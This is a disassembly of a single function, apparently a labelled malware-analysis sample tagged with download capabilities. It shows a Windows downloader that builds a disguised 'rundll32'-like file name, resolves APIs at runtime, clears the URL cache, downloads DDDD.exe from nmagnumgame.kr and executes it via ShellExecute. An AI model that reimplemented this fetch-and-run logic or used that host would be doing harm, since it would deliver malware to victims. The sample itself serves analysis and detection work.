Function at 0x401513
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea ecx, [ebp - 0xc]
push str.rundll32.exe
mov dword [ebp - 0xc], ebx
call fcn.00401755
push ecx
mov ecx, dword [ebp - 0xc]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00401ab5
add eax, 0x10
mov dword [esi], eax
call fcn.00401391
mov ecx, dword [ebp - 0xc]
lea ecx, [ecx - 0x10]
call fcn.00401ab5
add eax, 0x10
mov dword [esi], eax
call fcn.00401391
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
mov dword [esp], 0x4124f4
call fcn.00401755
push str.wind
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], ebx
call fcn.00401755
push 0x412500
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.00401755
push str._run
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
call fcn.00401755
push str.dll32
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
call fcn.00401755
push str..exe
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], ebx
call fcn.00401755
lea eax, [ebp - 0x24]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x28]
call fcn.004017d6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004017d6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.004017d6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c]
call fcn.004017d6
pop ecx
mov edx, eax
lea ecx, [ebp - 8]
call fcn.004017d6
pop ecx
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x34]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x30]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x28]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.DeleteFileW
push str.kernel32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push dword [ebp - 8]
call eax
push 0x3e8
call esi
push str.http:__nmagnumgame.kr_DOWN_DDDD.exe
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push str.URLDownloadToFileA
push str.Urlmon.dll
call ebx
push eax
call edi
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
jmp 0x40169f
push 0x3e8
call esi
xor eax, eax
push eax
push eax
push dword [ebp - 8]
push str.http:__nmagnumgame.kr_DOWN_DDDD.exe
push eax
call edi
test eax, eax
js 0x401698
push str.http:__nmagnumgame.kr_DOWN_DDDD.exe
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push 0x3e8
call esi
push str.ShellExecuteW
push str.Shell32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
xor ecx, ecx
push ecx
push ecx
push dword [ebp - 8]
push str.open
push ecx
call eax
mov ecx, dword [ebp - 8]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x24]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 0xc]
lea ecx, [ecx - 0x10]
call fcn.004011be
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401dcd
mov esp, ebp
pop ebp
ret 0x10